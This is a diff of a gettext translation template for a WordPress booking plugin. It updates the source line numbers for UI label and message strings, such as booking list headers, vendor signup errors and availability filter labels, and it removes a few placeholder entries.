+#: includes/custom-texts.php:306
 msgid ""
 "Button text for continue (finalise selections and display confirmation form)"
 msgstr ""
 
-#: includes/custom-texts.php:300
+#: includes/custom-texts.php:307
 msgid "Title of Next Appointment Countdown"
 msgstr ""
 
-#: includes/custom-texts.php:301
+#: includes/custom-texts.php:308
 msgid "Title for Country field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:302
+#: includes/custom-texts.php:309
 msgid "Placeholder for Country field in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:303
+#: includes/custom-texts.php:310
 msgid "Title for Coupon in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:304
+#: includes/custom-texts.php:311
 msgid "Text displayed when submitted discount code is not valid"
 msgstr ""
 
-#: includes/custom-texts.php:305
+#: includes/custom-texts.php:312
 msgid "Text displayed when submitted discount code is valid"
 msgstr ""
 
-#: includes/custom-texts.php:306
+#: includes/custom-texts.php:313
 msgid "Description of coupon field in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:307
+#: includes/custom-texts.php:314
 msgid "Column header of Creation Date for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:308
+#: includes/custom-texts.php:315
 msgid "Column header of Creation by field for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:309
+#: includes/custom-texts.php:316
 msgid "Singular text for Credit"
 msgstr ""
 
-#: includes/custom-texts.php:310
+#: includes/custom-texts.php:317
 msgid "Title for Credit Card field on the payment form"
 msgstr ""
 
-#: includes/custom-texts.php:311
+#: includes/custom-texts.php:318
 msgid "Label for sales of Credits"
 msgstr ""
 
-#: includes/custom-texts.php:312
+#: includes/custom-texts.php:319
 msgid "Plural text for Credit"
 msgstr ""
 
-#: includes/custom-texts.php:313
+#: includes/custom-texts.php:320
 msgid "Text for bookings recurring every day"
 msgstr ""
 
-#: includes/custom-texts.php:314
+#: includes/custom-texts.php:321
 msgid "Title for vendor account dashboard"
 msgstr ""
 
-#: includes/custom-texts.php:315
+#: includes/custom-texts.php:322
 msgid "Column header of Date in editing form"
 msgstr ""
 
-#: includes/custom-texts.php:316
+#: includes/custom-texts.php:323
 msgid "Column header of starting time of booking for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:317
+#: includes/custom-texts.php:324
 msgid "Singular text for day"
 msgstr ""
 
-#: includes/custom-texts.php:318
+#: includes/custom-texts.php:325
 msgid "Plural text for day"
 msgstr ""
 
-#: includes/custom-texts.php:319
+#: includes/custom-texts.php:326
 msgid "Column header of Week Day in editing form"
 msgstr ""
 
-#: includes/custom-texts.php:320
+#: includes/custom-texts.php:327
 msgid "Indicates default value will be used"
 msgstr ""
 
-#: includes/custom-texts.php:321
+#: includes/custom-texts.php:328
 msgid "Label for Delete Permanently"
 msgstr ""
 
-#: includes/custom-texts.php:322
+#: includes/custom-texts.php:329
 msgid "Javascript message after one or more records deleted."
 msgstr ""
 
-#: includes/custom-texts.php:323
+#: includes/custom-texts.php:330
 msgid "Column header of Deposit for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:324
+#: includes/custom-texts.php:331
 msgid ""
 "Label for Deposit Paid - This replaces Total in WooCommerce if payment is "
 "partial"
 msgstr ""
 
-#: includes/custom-texts.php:325
+#: includes/custom-texts.php:332
 msgid "Column header of Connected Post for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:326
+#: includes/custom-texts.php:333
 msgid ""
 "Title for items in the cart: Title for list of selected slots in the "
 "confirmation form when more than one time slot is selected"
 msgstr ""
 
-#: includes/custom-texts.php:327
+#: includes/custom-texts.php:334
 msgid "Title for Display Name field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:328
+#: includes/custom-texts.php:335
 msgid "Spinner panel message when ajax jobs finished"
 msgstr ""
 
-#: includes/custom-texts.php:329
+#: includes/custom-texts.php:336
 msgid "Column header of Prepayment for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:330
+#: includes/custom-texts.php:337
 msgid ""
 "Label for Due Payment which is the amount to be paid after deposit is reduced"
 msgstr ""
 
-#: includes/custom-texts.php:331
+#: includes/custom-texts.php:338
 msgid "Label for Dummy"
 msgstr ""
 
-#: includes/custom-texts.php:332
+#: includes/custom-texts.php:339
 msgid "Column header of Duration for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:333
+#: includes/custom-texts.php:340
 msgid "Column header for EDD Payment ID"
 msgstr ""
 
-#: includes/custom-texts.php:334
+#: includes/custom-texts.php:341
 msgid "Column header of Edit for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:335
+#: includes/custom-texts.php:342
 msgid "Javascript text that is displayed before editing an appointment"
 msgstr ""
 
-#: includes/custom-texts.php:336
+#: includes/custom-texts.php:343
 msgid "Edit button text in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:337
+#: includes/custom-texts.php:344
 msgid ""
 "Javascript message displayed when client attempts to edit an appointment, "
 "but editing is turned off"
 msgstr ""
 
-#: includes/custom-texts.php:338
+#: includes/custom-texts.php:345
 msgid "Javascript message displayed after changes on booking have been saved"
 msgstr ""
 
-#: includes/custom-texts.php:339
+#: includes/custom-texts.php:346
 #, php-format
 msgid ""
 "Javascript message displayed when client attempts to edit an appointment "
@@ -18880,1754 +19782,1732 @@
 "which will be replaced by the latest time client can pick."
 msgstr ""
 
-#: includes/custom-texts.php:340
+#: includes/custom-texts.php:347
 msgid "Title for email field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:341
-msgid "Placeholder for email field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:342
+#: includes/custom-texts.php:348
 msgid ""
 "Javascript message displayed when logged in client attempts to make a "
 "booking with email of another registered user"
 msgstr ""
 
-#: includes/custom-texts.php:343
+#: includes/custom-texts.php:349
 msgid "Label for Empty Cart button"
 msgstr ""
 
-#: includes/custom-texts.php:344
+#: includes/custom-texts.php:350
 msgid "Label for end time in confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:345
+#: includes/custom-texts.php:351
 msgid "Column header of end time of booking for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:346
+#: includes/custom-texts.php:352
 msgid "Text for bookings recurring every other day"
 msgstr ""
 
-#: includes/custom-texts.php:347
+#: includes/custom-texts.php:353
 msgid "Text for bookings recurring every other day except Sunday"
 msgstr ""
 
-#: includes/custom-texts.php:348
+#: includes/custom-texts.php:354
 msgid "Javascript message displayed after a General/unknown error"
 msgstr ""
 
-#: includes/custom-texts.php:349
+#: includes/custom-texts.php:355
 msgid "Title for general/unknown error message display"
 msgstr ""
 
-#: includes/custom-texts.php:350
+#: includes/custom-texts.php:356
 msgid "Label for Event Capacity"
 msgstr ""
 
-#: includes/custom-texts.php:351
+#: includes/custom-texts.php:357
 msgid "Description for Event Capacity field"
 msgstr ""
 
-#: includes/custom-texts.php:352
+#: includes/custom-texts.php:358
 msgid "Label for Closed from Pax"
 msgstr ""
 
-#: includes/custom-texts.php:353
+#: includes/custom-texts.php:359
 msgid "Description for Closed from Pax field"
 msgstr ""
 
-#: includes/custom-texts.php:354
+#: includes/custom-texts.php:360
 msgid "Label for Group Bookings Enable"
 msgstr ""
 
-#: includes/custom-texts.php:355
+#: includes/custom-texts.php:361
 msgid "Description for Group Bookings Enable field"
 msgstr ""
 
-#: includes/custom-texts.php:356
+#: includes/custom-texts.php:362
 msgid "Label for Maximum Pax"
 msgstr ""
 
-#: includes/custom-texts.php:357
+#: includes/custom-texts.php:363
 msgid "Description for Maximum Pax field"
 msgstr ""
 
-#: includes/custom-texts.php:358
+#: includes/custom-texts.php:364
 msgid "Label for Minimum Pax"
 msgstr ""
 
-#: includes/custom-texts.php:359
+#: includes/custom-texts.php:365
 msgid "Description for Minimum Pax field"
 msgstr ""
 
-#: includes/custom-texts.php:360
+#: includes/custom-texts.php:366
 msgid "Label for Event Price"
 msgstr ""
 
-#: includes/custom-texts.php:361
+#: includes/custom-texts.php:367
 msgid "Description for Event Price field"
 msgstr ""
 
-#: includes/custom-texts.php:362
+#: includes/custom-texts.php:368
 msgid "Title for Event Bookings list"
 msgstr ""
 
-#: includes/custom-texts.php:363
+#: includes/custom-texts.php:369
 msgid "Text for more title/link for excerpts"
 msgstr ""
 
-#: includes/custom-texts.php:364
+#: includes/custom-texts.php:370
 msgid "Error message when credit card has expired"
 msgstr ""
 
-#: includes/custom-texts.php:365
+#: includes/custom-texts.php:371
 msgid "Button text for export bookings in CSV file format"
 msgstr ""
 
-#: includes/custom-texts.php:366
+#: includes/custom-texts.php:372
 msgid ""
 "Title for Extra in confirmation form, bookings page table and list of "
 "bookings"
 msgstr ""
 
-#: includes/custom-texts.php:367
+#: includes/custom-texts.php:373
 msgid "Label for Fee"
 msgstr ""
 
-#: includes/custom-texts.php:368
+#: includes/custom-texts.php:374
 msgid "Title for Full Name field in the forms"
 msgstr ""
 
-#: includes/custom-texts.php:369
+#: includes/custom-texts.php:375
 msgid "Title for First Name field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:370
-msgid "Placeholder for First Name field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:371
+#: includes/custom-texts.php:376
 msgid "Friday"
 msgstr ""
 
-#: includes/custom-texts.php:372
+#: includes/custom-texts.php:377
 msgid "Initial letter of Friday"
 msgstr ""
 
-#: includes/custom-texts.php:373
+#: includes/custom-texts.php:378
 msgid "Short form of Friday"
 msgstr ""
 
-#: includes/custom-texts.php:374
+#: includes/custom-texts.php:379
 msgid "Title for GCal column in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:375
+#: includes/custom-texts.php:380
 msgid "Tooltip title for Google Calendar button"
 msgstr ""
 
-#: includes/custom-texts.php:376
+#: includes/custom-texts.php:381
 msgid "Title for GDPR UDF Group"
 msgstr ""
 
-#: includes/custom-texts.php:377
+#: includes/custom-texts.php:382
 msgid "Title for GDPR userdata Group"
 msgstr ""
 
-#: includes/custom-texts.php:378
+#: includes/custom-texts.php:383
 msgid "Column header of Google Meet for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:379
+#: includes/custom-texts.php:384
 msgid "Label for Google Meet column header"
 msgstr ""
 
-#: includes/custom-texts.php:380
+#: includes/custom-texts.php:385
 msgid "Text for Google Meet Join button"
 msgstr ""
 
-#: includes/custom-texts.php:381
+#: includes/custom-texts.php:386
 msgid "Label for Google Meet URL"
 msgstr ""
 
-#: includes/custom-texts.php:382
+#: includes/custom-texts.php:387
 msgid "Text for status Temporary"
 msgstr ""
 
-#: includes/custom-texts.php:383
+#: includes/custom-texts.php:388
 msgid "Text for Host"
 msgstr ""
 
-#: includes/custom-texts.php:384
+#: includes/custom-texts.php:389
 msgid "Singular text for hour"
 msgstr ""
 
-#: includes/custom-texts.php:385
+#: includes/custom-texts.php:390
 msgid "Plural text for hour"
 msgstr ""
 
-#: includes/custom-texts.php:386
+#: includes/custom-texts.php:391
 msgid "Short form of hour"
 msgstr ""
 
-#: includes/custom-texts.php:387
+#: includes/custom-texts.php:392
 msgid "Column header of Featured Image for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:388
+#: includes/custom-texts.php:393
 msgid ""
 "Localization of pagination under tables. Keep _PAGE_ and _PAGES_ which is "
 "the current page no and total number of pages, respectively."
 msgstr ""
 
-#: includes/custom-texts.php:389
+#: includes/custom-texts.php:394
 msgid "Column header of Internal for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:390
+#: includes/custom-texts.php:395
 msgid ""
 "Javascript message displayed when a mandatory field of a booking record is "
 "missing."
 msgstr ""
 
-#: includes/custom-texts.php:391
+#: includes/custom-texts.php:396
 msgid "Error message when credit cardholder is invalid"
 msgstr ""
 
-#: includes/custom-texts.php:392
+#: includes/custom-texts.php:397
 msgid ""
 "Error message when Credit Card Number field is empty or card number is "
 "invalid"
 msgstr ""
 
-#: includes/custom-texts.php:393
+#: includes/custom-texts.php:398
 msgid "Error message when security code is empty or invalid"
 msgstr ""
 
-#: includes/custom-texts.php:394
+#: includes/custom-texts.php:399
 msgid "Error message displayed when submitted email is not valid"
 msgstr ""
 
-#: includes/custom-texts.php:395
+#: includes/custom-texts.php:400
 msgid ""
 "Error message when expiration month and/or year field is empty or invalid"
 msgstr ""
 
-#: includes/custom-texts.php:396
+#: includes/custom-texts.php:401
 msgid "Column header of Jitsi for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:406
+#: includes/custom-texts.php:411
 msgid "Label for Client Language"
 msgstr ""
 
-#: includes/custom-texts.php:407
+#: includes/custom-texts.php:412
 msgid "Title for Duration of the selected service(s) in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:408
+#: includes/custom-texts.php:413
 msgid "Title for Last Name field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:409
-msgid "Placeholder for Last Name field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:410
+#: includes/custom-texts.php:414
 msgid ""
 "Localization for pulldown menu that selects the number of records to be "
 "displayed in the tables. Keep _MENU_ which stands for the pulldown menu "
 "itself."
 msgstr ""
 
-#: includes/custom-texts.php:411
+#: includes/custom-texts.php:415
 #, php-format
 msgid ""
 "Javascript message displayed when selected number of appointments exceeds "
 "permitted number. Keep %d which will be replaced by actual limit"
 msgstr ""
 
-#: includes/custom-texts.php:412
+#: includes/custom-texts.php:416
 msgid "Text for List Button"
 msgstr ""
 
-#: includes/custom-texts.php:413
+#: includes/custom-texts.php:417
 msgid "Text message displayed while a data is being read"
 msgstr ""
 
-#: includes/custom-texts.php:414
+#: includes/custom-texts.php:418
 msgid "Column header of Location for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:415
+#: includes/custom-texts.php:419
 msgid "Label for Locations"
 msgstr ""
 
-#: includes/custom-texts.php:416
+#: includes/custom-texts.php:420
 msgid "Label for Locations on admin side when Multi Store is enabled"
 msgstr ""
 
-#: includes/custom-texts.php:417
+#: includes/custom-texts.php:421
 msgid "Column header of Location Address for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:418
+#: includes/custom-texts.php:422
 msgid "Title for Location in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:419
+#: includes/custom-texts.php:423
 msgid "Plural of the Location title in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:420
+#: includes/custom-texts.php:424
 msgid "Column header of Location Note for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:421
+#: includes/custom-texts.php:425
 msgid "Message displayed to client after a successful login"
 msgstr ""
 
-#: includes/custom-texts.php:422
+#: includes/custom-texts.php:426
 msgid "Text displayed below calendar title when client is logged in"
 msgstr ""
 
-#: includes/custom-texts.php:423
+#: includes/custom-texts.php:427
 msgid "Spinner panel message while login is being prepared"
 msgstr ""
 
-#: includes/custom-texts.php:424
+#: includes/custom-texts.php:428
 msgid "Text for the login link"
 msgstr ""
 
-#: includes/custom-texts.php:425
+#: includes/custom-texts.php:429
 msgid "Form header asking client to login"
 msgstr ""
 
-#: includes/custom-texts.php:426
+#: includes/custom-texts.php:430
 msgid "Message displayed when login is required to cancel a booking"
 msgstr ""
 
-#: includes/custom-texts.php:427
+#: includes/custom-texts.php:431
 msgid "Message displayed when login is required to confirm a booking"
 msgstr ""
 
-#: includes/custom-texts.php:428
+#: includes/custom-texts.php:432
 msgid "Message displayed when login is required to edit a booking"
 msgstr ""
 
-#: includes/custom-texts.php:429
+#: includes/custom-texts.php:433
 msgid "Text beside the login link"
 msgstr ""
 
-#: includes/custom-texts.php:430
+#: includes/custom-texts.php:434
 msgid ""
 "Message displayed to client when they submitted an existing email and not "
 "logged in yet"
 msgstr ""
 
-#: includes/custom-texts.php:431
+#: includes/custom-texts.php:435
 msgid "Tooltip text to login with Facebook account"
 msgstr ""
 
-#: includes/custom-texts.php:432
+#: includes/custom-texts.php:436
 msgid "Tooltip text to login with Google+ account"
 msgstr ""
 
-#: includes/custom-texts.php:433
+#: includes/custom-texts.php:437
 msgid "Tooltip text to login with website credentials"
 msgstr ""
 
-#: includes/custom-texts.php:434
+#: includes/custom-texts.php:438
 msgid "Tooltip text to login with WordPress.com account"
 msgstr ""
 
-#: includes/custom-texts.php:435
+#: includes/custom-texts.php:439
 msgid ""
 "Note in +24h Bookings calendar. REST placeholder will be replaced with "
 "number of bookings which could not be shown"
 msgstr ""
 
-#: includes/custom-texts.php:436
+#: includes/custom-texts.php:440
 msgid "Title for Make Payment"
 msgstr ""
 
-#: includes/custom-texts.php:437
+#: includes/custom-texts.php:441
 msgid "Title for Location, Store or Group Manager"
 msgstr ""
 
-#: includes/custom-texts.php:438
+#: includes/custom-texts.php:442
 msgid ""
 "Message displayed when a record may have edited by another user and current "
 "value may not be valid any more."
 msgstr ""
 
-#: includes/custom-texts.php:439
+#: includes/custom-texts.php:443
 msgid "Column header of Online Meeting for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:440
+#: includes/custom-texts.php:444
 msgid "Title for payment method"
 msgstr ""
 
-#: includes/custom-texts.php:441
+#: includes/custom-texts.php:445
 msgid "Singular text for minute"
 msgstr ""
 
-#: includes/custom-texts.php:442
+#: includes/custom-texts.php:446
 msgid "Plural text for minute"
 msgstr ""
 
-#: includes/custom-texts.php:443
+#: includes/custom-texts.php:447
 msgid "Short form of minute"
 msgstr ""
 
-#: includes/custom-texts.php:444
+#: includes/custom-texts.php:448
 msgid ""
 "Javascript message displayed when selection of an extra is required, but "
 "client did not pick one"
 msgstr ""
 
-#: includes/custom-texts.php:445
+#: includes/custom-texts.php:449
 msgid "Javascript message displayed when a required field is left empty"
 msgstr ""
 
-#: includes/custom-texts.php:446
+#: includes/custom-texts.php:450
 msgid ""
 "Javascript message displayed when a terms and conditions checkbox are not "
 "checked by the client"
 msgstr ""
 
-#: includes/custom-texts.php:447
+#: includes/custom-texts.php:451
 msgid "Monday"
 msgstr ""
 
-#: includes/custom-texts.php:448
+#: includes/custom-texts.php:452
 msgid "Initial letter of Monday"
 msgstr ""
 
-#: includes/custom-texts.php:449
+#: includes/custom-texts.php:453
 msgid "Short form of Monday"
 msgstr ""
 
-#: includes/custom-texts.php:450
+#: includes/custom-texts.php:454
 msgid "Singular text for month"
 msgstr ""
 
-#: includes/custom-texts.php:451
+#: includes/custom-texts.php:455
 msgid "Text for bookings recurring every month"
 msgstr ""
 
-#: includes/custom-texts.php:452
+#: includes/custom-texts.php:456
 msgid ""
 "Title of the monthly calendar. LOCATION, SERVICE, WORKER, START will be "
 "replaced by their real values"
 msgstr ""
 
-#: includes/custom-texts.php:453
+#: includes/custom-texts.php:457
 msgid "Plural text for month"
 msgstr ""
 
-#: includes/custom-texts.php:454
+#: includes/custom-texts.php:458
 msgid "Title for participant email"
 msgstr ""
 
-#: includes/custom-texts.php:455
+#: includes/custom-texts.php:459
 #, php-format
 msgid ""
 "Placeholder for participant email field. %d will be replaced by the order in "
 "the list."
 msgstr ""
 
-#: includes/custom-texts.php:456
+#: includes/custom-texts.php:460
 msgid "Registration successful message"
 msgstr ""
 
-#: includes/custom-texts.php:457
+#: includes/custom-texts.php:461
 msgid "Label for Afternoon in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:458
+#: includes/custom-texts.php:462
 msgid ""
 "Message displayed when an already active user attempts to activate "
 "themselves again"
 msgstr ""
 
-#: includes/custom-texts.php:459
+#: includes/custom-texts.php:463
 #, php-format
 msgid ""
 "Message displayed when a user applies to become a vendor, but he/she already "
 "has past records. Keep %s which will be replaced with date of application."
 msgstr ""
 
-#: includes/custom-texts.php:460
+#: includes/custom-texts.php:464
 msgid ""
 "Warning message displayed when provider of a store attempts to apply to be a "
 "vendor."
 msgstr ""
 
-#: includes/custom-texts.php:461
+#: includes/custom-texts.php:465
 msgid "Message displayed when a vendor applies to become a vendor again"
 msgstr ""
 
-#: includes/custom-texts.php:462
+#: includes/custom-texts.php:466
 msgid "Text of the button on Profile Settings to apply to become a member"
 msgstr ""
 
-#: includes/custom-texts.php:463
+#: includes/custom-texts.php:467
 msgid "Text of the button to apply to become a vendor"
 msgstr ""
 
-#: includes/custom-texts.php:464
+#: includes/custom-texts.php:468
 msgid "Description text explaining Become a Vendor button"
 msgstr ""
 
-#: includes/custom-texts.php:465
+#: includes/custom-texts.php:469
 msgid ""
 "Javascript message asking confirmation after clicking Become a Vendor button"
 msgstr ""
 
-#: includes/custom-texts.php:466
+#: includes/custom-texts.php:470
 msgid "Label for Bio field"
 msgstr ""
 
-#: includes/custom-texts.php:467
+#: includes/custom-texts.php:471
 msgid "Label for Bio summary field"
 msgstr ""
 
-#: includes/custom-texts.php:468
+#: includes/custom-texts.php:472
 msgid "Label for Bio Page field"
 msgstr ""
 
-#: includes/custom-texts.php:469
+#: includes/custom-texts.php:473
 msgid "Label for commission amount"
 msgstr ""
 
-#: includes/custom-texts.php:470
+#: includes/custom-texts.php:474
 msgid "Label for commission ID"
 msgstr ""
 
-#: includes/custom-texts.php:471
+#: includes/custom-texts.php:475
 msgid "Label for commission rate"
 msgstr ""
 
-#: includes/custom-texts.php:472
+#: includes/custom-texts.php:476
 msgid "Label for commission status"
 msgstr ""
 
-#: includes/custom-texts.php:473
+#: includes/custom-texts.php:477
 msgid "Error message displayed when user could not be created"
 msgstr ""
 
-#: includes/custom-texts.php:474
+#: includes/custom-texts.php:478
 msgid "Title for Days of the week in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:475
+#: includes/custom-texts.php:479
 msgid ""
 "Message displayed to the user whose vendor application has been declined"
 msgstr ""
 
-#: includes/custom-texts.php:476
+#: includes/custom-texts.php:480
 msgid "Error message displayed when activation email sending failed"
 msgstr ""
 
-#: includes/custom-texts.php:477
+#: includes/custom-texts.php:481
 msgid "Error message displayed when submitted email is banned"
 msgstr ""
 
-#: includes/custom-texts.php:478
+#: includes/custom-texts.php:482
 msgid "Error message displayed when submitted email is already in use"
 msgstr ""
 
-#: includes/custom-texts.php:479
+#: includes/custom-texts.php:483
 msgid ""
 "Error message displayed when submitted email is empty or not in valid format"
 msgstr ""
 
-#: includes/custom-texts.php:480
+#: includes/custom-texts.php:484
 msgid "Label for Evening in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:481
+#: includes/custom-texts.php:485
 msgid ""
 "Error message displayed when an invalid or already used activation key is "
 "used."
 msgstr ""
 
-#: includes/custom-texts.php:482
+#: includes/custom-texts.php:486
 msgid ""
 "Text displayed instead of Become a Vendor button when user is already a "
 "vendor"
 msgstr ""
 
-#: includes/custom-texts.php:483
+#: includes/custom-texts.php:487
 msgid "Label for Late afternoon in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:484
+#: includes/custom-texts.php:488
 msgid "Label for Late Evening in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:485
+#: includes/custom-texts.php:489
 msgid "Label for Late morning in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:486
+#: includes/custom-texts.php:490
 msgid "Label for Late Night in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:487
+#: includes/custom-texts.php:491
 msgid "Account activation complete message. Displayed if vendor is approved"
 msgstr ""
 
-#: includes/custom-texts.php:488
+#: includes/custom-texts.php:492
 msgid "Label for Morning in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:489
+#: includes/custom-texts.php:493
 msgid "Label for Night in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:490
+#: includes/custom-texts.php:494
 msgid "Error message displayed when Privacy Policy check box is not checked"
 msgstr ""
 
-#: includes/custom-texts.php:491
+#: includes/custom-texts.php:495
 msgid "Label for Override Prices setting in vendor profile"
 msgstr ""
 
-#: includes/custom-texts.php:492
+#: includes/custom-texts.php:496
 msgid "Description for Override Prices setting in vendor profile."
 msgstr ""
 
-#: includes/custom-texts.php:493
+#: includes/custom-texts.php:497
 msgid ""
 "Message displayed to the user when his page cannot be accessed, possibly due "
 "to suspension of the user."
 msgstr ""
 
-#: includes/custom-texts.php:494
+#: includes/custom-texts.php:498
 msgid "Error message displayed when password field is empty"
 msgstr ""
 
-#: includes/custom-texts.php:495
+#: includes/custom-texts.php:499
 msgid "Error message displayed when submitted password values do not match"
 msgstr ""
 
-#: includes/custom-texts.php:496
+#: includes/custom-texts.php:500
 #, php-format
 msgid ""
 "Error message displayed when a required form field was not filled. Keep %s "
 "which will be replaced by the name of the field"
 msgstr ""
 
-#: includes/custom-texts.php:497
+#: includes/custom-texts.php:501
 msgid "Description displayed to user when vendor status is pending"
 msgstr ""
 
-#: includes/custom-texts.php:498
+#: includes/custom-texts.php:502
 msgid "Label for Tagline Text in user profile"
 msgstr ""
 
-#: includes/custom-texts.php:499
+#: includes/custom-texts.php:503
 msgid "Label for Tags in user profile"
 msgstr ""
 
-#: includes/custom-texts.php:500
+#: includes/custom-texts.php:504
 msgid "Title for Time of the day in availability filter"
 msgstr ""
 
-#: includes/custom-texts.php:501
+#: includes/custom-texts.php:505
 msgid "Label for Page Title in user profile"
 msgstr ""
 
-#: includes/custom-texts.php:502
+#: includes/custom-texts.php:506
 msgid "Button text for Upload Photo"
 msgstr ""
 
-#: includes/custom-texts.php:503
+#: includes/custom-texts.php:507
 msgid "Error message displayed when an empty username is submitted"
 msgstr ""
 
-#: includes/custom-texts.php:504
+#: includes/custom-texts.php:508
 msgid "Error message displayed when an already existing username is submitted"
 msgstr ""
 
-#: includes/custom-texts.php:505
+#: includes/custom-texts.php:509
 msgid "Error message displayed when an illegal username is submitted"
 msgstr ""
 
-#: includes/custom-texts.php:506
+#: includes/custom-texts.php:510
 msgid ""
 "Error message displayed when a username having invalid characters is "
 "submitted"
 msgstr ""
 
-#: includes/custom-texts.php:507
+#: includes/custom-texts.php:511
 msgid "Error message displayed when an all numeric username is submitted"
 msgstr ""
 
-#: includes/custom-texts.php:508
+#: includes/custom-texts.php:512
 msgid ""
 "Error message displayed when a username shorter than 4 characters is "
 "submitted"
 msgstr ""
 
-#: includes/custom-texts.php:509
+#: includes/custom-texts.php:513
 msgid ""
 "Error message displayed when a username having underscore character is "
 "submitted"
 msgstr ""
 
-#: includes/custom-texts.php:510
+#: includes/custom-texts.php:514
 msgid "Sign Up button text"
 msgstr ""
 
-#: includes/custom-texts.php:511
+#: includes/custom-texts.php:515
 msgid "Label for Video in user profile"
 msgstr ""
 
-#: includes/custom-texts.php:512
+#: includes/custom-texts.php:516
 msgid ""
 "Account activation complete message. Displayed when vendor application "
 "awaits admin approval"
 msgstr ""
 
-#: includes/custom-texts.php:513
+#: includes/custom-texts.php:517
 msgid "Title for Name field in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:514
-msgid "Placeholder for Name field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:515
+#: includes/custom-texts.php:518
 msgid "Pagination button text for Next"
 msgstr ""
 
-#: includes/custom-texts.php:516
+#: includes/custom-texts.php:519
 msgid ""
 "Note added to details field on confirmation form to notify a booking ending "
 "next day"
 msgstr ""
 
-#: includes/custom-texts.php:517
+#: includes/custom-texts.php:520
 msgid "Pagination button text for Next Month"
 msgstr ""
 
-#: includes/custom-texts.php:518
+#: includes/custom-texts.php:521
 msgid "Pagination button text for Next Months"
 msgstr ""
 
-#: includes/custom-texts.php:519
+#: includes/custom-texts.php:522
 msgid "Pagination button text for Next Week"
 msgstr ""
 
-#: includes/custom-texts.php:520
+#: includes/custom-texts.php:523
 msgid "Pagination button text for Next Weeks"
 msgstr ""
 
-#: includes/custom-texts.php:521
+#: includes/custom-texts.php:524
 msgid "Translation for No, e.g. to show a check box is not checked"
 msgstr ""
 
-#: includes/custom-texts.php:522
+#: includes/custom-texts.php:525
 msgid "Title for number of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:523
+#: includes/custom-texts.php:526
 msgid ""
 "Title for number of cancelled jobs of a package in confirmation form, "
 "bookings page table and list of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:524
+#: includes/custom-texts.php:527
 msgid ""
 "Title for number of completed jobs of a package in confirmation form, "
 "bookings page table and list of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:525
+#: includes/custom-texts.php:528
 msgid ""
 "Title for number of remaining jobs of a package in confirmation form, "
 "bookings page table and list of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:526
+#: includes/custom-texts.php:529
 msgid ""
 "Title for number of total jobs of a package in confirmation form, bookings "
 "page table and list of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:527
+#: includes/custom-texts.php:530
 msgid "Text for \"None\" selection, e.g. number of guests"
 msgstr ""
 
-#: includes/custom-texts.php:528
+#: includes/custom-texts.php:531
 #, php-format
 msgid ""
 "Placeholder for participant name field. %d will be replaced by the order in "
 "the list."
 msgstr ""
 
-#: includes/custom-texts.php:529
+#: includes/custom-texts.php:532
 msgid "Message displayed after a purchase attempt with insufficient credits"
 msgstr ""
 
-#: includes/custom-texts.php:530
+#: includes/custom-texts.php:533
 msgid "Title for participant name"
 msgstr ""
 
-#: includes/custom-texts.php:531
+#: includes/custom-texts.php:534
 msgid "Text for status No Show"
 msgstr ""
 
-#: includes/custom-texts.php:532
+#: includes/custom-texts.php:535
 msgid "Title for Note field in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:533
+#: includes/custom-texts.php:536
 msgid "Javascript message displayed when client did not make any changes"
 msgstr ""
 
-#: includes/custom-texts.php:534
+#: includes/custom-texts.php:537
 msgid "Dialog title for notice type messages"
 msgstr ""
 
-#: includes/custom-texts.php:535
+#: includes/custom-texts.php:538
 msgid ""
 "Javascript text displayed when client attempts to edit date/time of a "
 "booking and time slot has been booked"
 msgstr ""
 
-#: includes/custom-texts.php:536
+#: includes/custom-texts.php:539
 msgid ""
 "Text displayed when a service, provider, etc variable does not have a "
 "displayable name. Possibly because of a record being deleted"
 msgstr ""
 
-#: includes/custom-texts.php:537
+#: includes/custom-texts.php:540
